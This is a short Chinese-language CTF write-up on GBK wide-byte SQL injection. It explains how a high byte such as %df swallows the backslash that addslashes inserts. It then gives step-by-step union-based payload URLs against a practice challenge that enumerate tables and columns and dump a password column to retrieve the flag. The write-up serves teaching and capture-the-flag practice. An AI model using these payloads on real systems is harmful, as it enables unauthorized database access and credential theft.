CTF宽字节注入
oxo1 宽字节注入的原理
addslashes`函数,会在 单引号 ,双引号,反斜线,NULL字符前面加上一个转义字符反斜杠,那么如何逃逸这个过滤呢?
- 前面再加一个\,变成
\\'
,这样的\就会被转义了,’逃出了限制。 - 把\弄没 —–》对应的将会是宽字节注入
宽字节注入利用mysql的特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字,前一个ascii码大于128的时候,才到汉字的范围。
‘
-》 \'
—————–> %5c%27
%df'
————> %df\'
—–> %df%5c%27
GBK会将两个百分号的字母变成一个字符
根据GBK编码,第一个字节的ascii码大于128,基本上就可以注入
mysql_query("SET NAMES 'gbk'")
就会是gbk编码。
如果改成GB2312的话 ,由于反斜杠的ascii码是0x5c,它不是gb2312中的编码,自然不会被吃掉。扩展到普遍的是只要是低位的范围中含有0x5c的编码,就可以进行宽字节注入。
补充:mysql_real_escape_string(php5)考虑到连接的当前字符集,并不会转义% 和__。
oxo2 宽字节实战CTF
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1
实战地址,使用union注入,
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27order%20by%202%23
2不报错使用3报错判断字段为2
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27union%20select%201,2%23
在叶面发现2可以显示,接下来将id变为-1使得前面的读取为null,就会显示我们需要注入的语句。
发现可能是没有权限读取所有库
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27union%20select%201,group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database()%23
注入得到 ~ctf~,~ctf2~,~ctf3~,~ctf4~,~gbksqli~,~news~ ,这些表。
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27union%20select%201,group_concat(0x7e,column_name,0x7e) from information_schema.columns where table_name=char(99,116,102)%23
字段为 ~user~,~pw~
可以使用hex来代替char函数
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27union%20select%201,group_concat(pw)%20from ctf%23
得到flag。